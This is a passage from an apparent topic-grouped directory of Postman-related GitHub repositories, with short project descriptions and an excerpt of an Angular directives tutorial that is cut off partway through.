with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
tobyokeke/laravel-model-export
controller, export, laravel, model, properties 		Creates properties for JS from migrations and properties for Postman using request inputs from controllers in Laravel 0 stars 0 watchers 0 forks
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database
application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec 		It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) 0 stars 0 watchers 0 forks
minhhai2209/postman-sample
access, environment, fork, github, http, https, modification, newman, properties, sample 		Sample on how to use the fork at https://github.com/minhhai2209/newman#accessible-environment to set Postman properties from Newman. See the modification at https://github.com/minhhai2209/postman-runtime/commit/764c6b9a170e71b055dce077fba12960e6b87d93. 0 stars 0 watchers 0 forks

analytics (4 listings) (Back to Top)

flyingeinstein/nimble
analytics, automat, automation, collection, config, configure, controller, data, home, popular 		Arduino IoT multi-sensor for the ESP8266. Supports a number of popular sensors. Simply wire sensors to the ESP8266 and compile this sketch. Use the Http Rest API (Postman collection provided) to configure and control the sensors and direct sensor data to a number of targets such as Influx for analytics or a home automation controller. 1 stars 1 watchers 0 forks
h2hdata/aa_network-analysis-route-inspection
advance, advanced, analytics, chinese, data, inspection, network, problem, route, spec 		This repository consists of POC created for advanced analytics domain. Problem is to implement network analysis for route inspection to solve the chinese postman problem. 0 stars 0 watchers 0 forks
ivanmoju/postman-adobe-analytics
analytics 		0 stars 0 watchers 0 forks
thandon263/Postman_Analytics
analytics, function, result 		This a postman analytics gathering function. Get results and average of time taken by the requests 0 stars 0 watchers 0 forks

prototype (4 listings) (Back to Top)

Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
akhilbh92/Fandango-Prototype
model, prototype, site, type, website 		This is the prototype model of Fandango website. 0 stars 0 watchers 1 forks
jamesdean308/postman-detector
concept, detecting, human, program, proof, prototype, type 		Web-cam prototype OpenCV proof of concept program for detecting humans wearing particular coloured clothes(yellow). I intend for this to run on a TIAGo bot and have it compete in robotics competitions 0 stars 0 watchers 0 forks
rishabh-42/google_doc_prototype_PA
google, prototype, type 		POSTMAN Assignment. Yes, you read it right. 0 stars 0 watchers 0 forks

urls (4 listings) (Back to Top)

mikhail-kursk/Api-testing-with-postman-and-excel
data, excel, file, store, test, testing, urls 		Project store:Excel file with macros in which you can describe request urls, data and flow for testing your API. 1 stars 1 watchers 2 forks
mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
Hossam-PHP/PHP-Restful-Api-OOP-
api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls 		Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php 0 stars 0 watchers 0 forks
ltfyxkfh/postman-urls
urls 		转换postman导出数据的url为JSON 0 stars 0 watchers 0 forks

tutorials (4 listings) (Back to Top)

Autodesk-Forge/forge-tutorial-postman
collection, forge, tutorial, tutorials 		Postman collection for Forge Design Automation tutorials 12 stars 12 watchers 10 forks
Malligarjunan/apigateway
collection, collections, developer, gateway, postman collection, postman collections, sample, samples, tutorial, tutorials 		API Gateway postman collections of APIs and developer tutorials samples 0 stars 0 watchers 2 forks
digitaleo/api-tutorials
collection, collections, digital, index, tutorial, tutorials 		This repository indexes some Postman collections to help you take in hand Digitaleo APIs 0 stars 0 watchers 0 forks
anon-coins-tutorials/monero-rpc-get-started
coins, tutorial, tutorials 		Monero RPC tutorial with Postman 0 stars 0 watchers 0 forks

versions (4 listings) (Back to Top)

solidfire/postman
collection, collections, multiple, version, versions 		Pre-built Postman (getpostman.com) collections for multiple versions of Element OS 9 stars 9 watchers 6 forks
tobiaswettstein/postman_versions
description, script, version, versions 		No description available. 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks
xzhang007/Multithread-Web-Server
actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions 		Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. 0 stars 0 watchers 0 forks

consumer (4 listings) (Back to Top)

govindthakur25/expense-tracker
advance, advanced, concept, consume, consumer, explore, fiddler, track, tracker 		Application to explore basic and advanced concepts of Web Api 2. No consumer added yetone have to use fiddler or postman to use it. 0 stars 0 watchers 1 forks
kevincardona/kafka_ui
consume, consumer, interface, kafka, sort, test, testing 		An easy to use interface for testing Kafka consumers. It's sorta like Postman but for Kafka ✨. 0 stars 0 watchers 0 forks
cpvariyani/kafka-implementation-.net-core-c-
application, communication, console, consume, consumer, http, https, implementation, install, kafka, keeper, microservice, server, service, site, youtube 		youtube https://www.youtube.com/watch?v=ARqyWaZqn68&feature=youtu.be ..Practical Example for Use Apache Kafka In .NET Application, the demo for Kafka installation in .Net core and you can build Real-time Streaming Applications Using .NET Core c# and Kafka. Steps 1. Download Prerequisite for Kafka and zookeeper 2. Install Kafka and zookeeper 3. Create a topic in Kafka console 4. Start the Kafka producer server 5. Start the Kafka consumer server 6. Create .Net core microservice as a producer 7. Create .Net core application as a consumer 8. Test Kafka implementation using postman to see the communication between communication. 0 stars 0 watchers 0 forks
drrtuy/mcs-postman
consume, consumer, store 		Kafka consumer for MariaDB Columnstore 0 stars 0 watchers 0 forks

bash (4 listings) (Back to Top)

postmanlabs/postman-updater-linux
bash, command, command line, script 		A simple bash script to update Postman from the command line (for Linux) 0 stars 0 watchers 9 forks
bishbash/Test-Project-from-Postman
bash, forge, place, test 		A test project created by the forgerock.org market place 0 stars 0 watchers 0 forks
KartheeswaranSubashchandraBose007/PostMan-Tests
bash 		PostMan Collections 0 stars 0 watchers 0 forks
lensuzukilayhe/learning-git-newman-jenkins
bash, file, github, jenkins, learn, learning, link, newman, push 		i will be learning how to use API's with github through git bash, linking from file to file, pushing it through jenkins, from Postman 0 stars 0 watchers 0 forks

connected (4 listings) (Back to Top)

yapily/developer-resources
bank, collection, connected, developer, resource, resources, source, yapily 		A collection of Yapily resources to help you get connected to bank APIs. 14 stars 14 watchers 3 forks
ranjithraji/login-reg-node
connected, login, mongo, mongod, mongodb, node 		mongodb and postman connected on node login 0 stars 0 watchers 0 forks
BubbaMachina/nodeHerokuServer
connected, file, files, front end, heroku, myself, node, tutorial 		My tutorial for myself on how to use node, and deploy to heroku with as little files as possible. Postman is front end for now, and Mongo DB is connected to this as well 0 stars 0 watchers 0 forks
iamwarning/message-api-with-nestjs
api blueprint, asyncapi, connected, data, database, form, json schema, message, mysql, nest, nestjs, oauth, openid, sql 		Simple API that performs a message CRUD connected to a mysql database using NestJS 0 stars 0 watchers 0 forks

secured (4 listings) (Back to Top)

mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
JimmyCastiel/postman
chat, secure, secured, threaded 		Multi-threaded secured chat over TCP 1 stars 1 watchers 0 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
IbrahimMSabek/mfpAdapterTester
active, auth, authentication, data, debug, debugging, docs, secure, secured, spec, test, web app 		This will be a web app that will act like Postman which aim to test secured IBM Mobilefirst 8 adapters with custom authentication specially that save and use data within active session as Postman basic authentication debugging detailed in MFP docs won't fit 0 stars 0 watchers 0 forks

implementations (4 listings) (Back to Top)

Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
electrumpayments/money-transfer-retailer-test-pack
implementation, implementations, money, payment, retail, script, scripts, server, test, testing 		Test server and Postman scripts for testing Money Transfer Retailer Interface implementations 0 stars 0 watchers 0 forks
electrumpayments/airtime-service-test-pack
implementation, implementations, payment, script, scripts, server, service, test, testing 		test server and Postman scripts for testing Airtime Service Interface implementations 0 stars 0 watchers 0 forks
VPihalov/Social-network
auth, authentication, developer, developers, file, files, forum, implementation, implementations, includes, network, posts, profile, profiles, social 		It is a social network app for developers that includes authentication, profiles, forum posts. App is based on MERN stack (MongoDB, Mongoose, React, Redux, Nodejs, Express). Main implementations are React Hooks, Redux, Postman, Bcrypt, Heroku, Git flow 0 stars 0 watchers 0 forks

playground (4 listings) (Back to Top)

tomvanschaijk/romanian-violet-rollsroyce
chai, dotnet, play, playground 		A small little project as a playground for dotnetcore 3, using an api, blazor, postman, ... 1 stars 1 watchers 0 forks
jmfayard/httplayground
http, play, playground 		HTTP Playground 1 stars 1 watchers 0 forks
domahidizoltan/playground-newman
automat, automation, newman, play, playground, test 		Playing with Rest API test automation with Postman/Newman 0 stars 0 watchers 1 forks
bigcommerce-labs/carrier-service-playground
commerce, play, playground, service, test, testing 		This is a playground app to make life easy for team to edit carriers for testing rather than using postman 0 stars 0 watchers 0 forks

hackathon (4 listings) (Back to Top)

orlando-rodriguez/hackathon
hackathon 		g77, g84, and g90 Spring Hackathon: RESTful APIs, TDD, Paired Programming, JavaScript, CSS3, HTML5, Postman 1 stars 1 watchers 2 forks
bigzoo/matuba_api
collection, collections, hackathon, http, https, transport 		Backend API during Where is transport hackathon. Postman Collection here: https://www.getpostman.com/collections/f3132fdfe959ba3f60c9 1 stars 1 watchers 0 forks
shelleypham/GE-Current-Hackathon-API-Tutorial
access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens 		This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources 1 stars 1 watchers 0 forks
ces-hackathon/API
document, documentation, hackathon, mock, script, scripts, server, test 		Postman API documentation for creating mock server API and postman test scripts 0 stars 0 watchers 0 forks

countries (4 listings) (Back to Top)

fjelltopp/meerkat_integration_tests
collection, collections, countries, integration, test, tests 		Postman collections to test meerkat full stack for countries. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
bflaven/FlagApi
application, countries, form, format, information, test 		A basic application to get information about countries via a RESTful API (Node.JS Version). This application will be used for test explanations purpose. 0 stars 0 watchers 0 forks
bflaven/node-countries-light-app
countries, document, documented, light, node, test, tested 		Node, API, Postman - Build a simple but complete REST API with Node, tested made with Chai and Newman, documented with Apidoc 0 stars 0 watchers 0 forks

trigger (4 listings) (Back to Top)

cprice-ping/PingConfigurator
sequence, trigger, triggers 		A little Node.js app that triggers Postman Collections in sequence 0 stars 0 watchers 0 forks
jonashackt/postman-newman-docker-travisci
collection, collections, docker, newman, travis, travisci, trigger, triggered 		Example project showing how to execute Postman collections with Docker triggered by TravisCI 0 stars 0 watchers 0 forks
kogden/serverless-mongo-database
data, database, function, functions, lambda, mongo, monitor, movie, server, serverless, trigger 		Uses AWS lambda trigger to POST/GET from mongoDB movie database. Uses Dashbird.io to monitor. Postman to call functions. 0 stars 0 watchers 0 forks
Nishit2011/NodeExpressApp
data, file, trigger, triggering, writing 		Building Restful APIs and triggering them via Postman. Updating and writing the data onto a file 0 stars 0 watchers 0 forks

provider (4 listings) (Back to Top)

stategen/stategen
flutter, free, freemarker, github, http, https, java, mock, provider, react, script, spring, stat, type, types, typescript 		通用springMvc/springBoot分布式非强迫性全栈架构(java服务端，H5、iOS、andriod前端)，内含大名鼎鼎的支付宝dalgen之freemarker开源实现之商用升级版dalgenX，是唯一支持迭代开发的全栈代码生成器，大量前、后端代码通过生成器生成，其中后端任意api直接生成前端网络调用、状态化、交互等相关代码，把前后端分离开发"拉"回来，目前前端已支持react(dva+umi+typescript)和flutter(provider),后续加入kotlin、swf。免去前端文档、调试、postman、mockjs...繁琐。开发中迭代生成，不改变原开发流程、生成80%代码,兼容后20%你自己的代码，拒绝挖坑！ https://github.com/stategen/stategen 44 stars 44 watchers 10 forks
bitscooplabs/api-toolbox-intro
data, interacting, provider, tool 		A quick tour of interacting with "data providers" on the BitScoop API Toolbox using NodeJS, ngrok, Postman. 0 stars 0 watchers 1 forks
vapor-community/postman-provider
provider, unit, vapor 		Postman Provider for Vapor 0 stars 0 watchers 1 forks
Tiausa/CloudAPI
account, data, database, form, format, information, party, provider, related, spec, support, supported, test, test suite, user 		Implemented REST API that supported user account using 3rd party providers and account specific information. Used non-relational database to support related entities. Created full test suite using Postman. 0 stars 0 watchers 0 forks

inject (4 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The 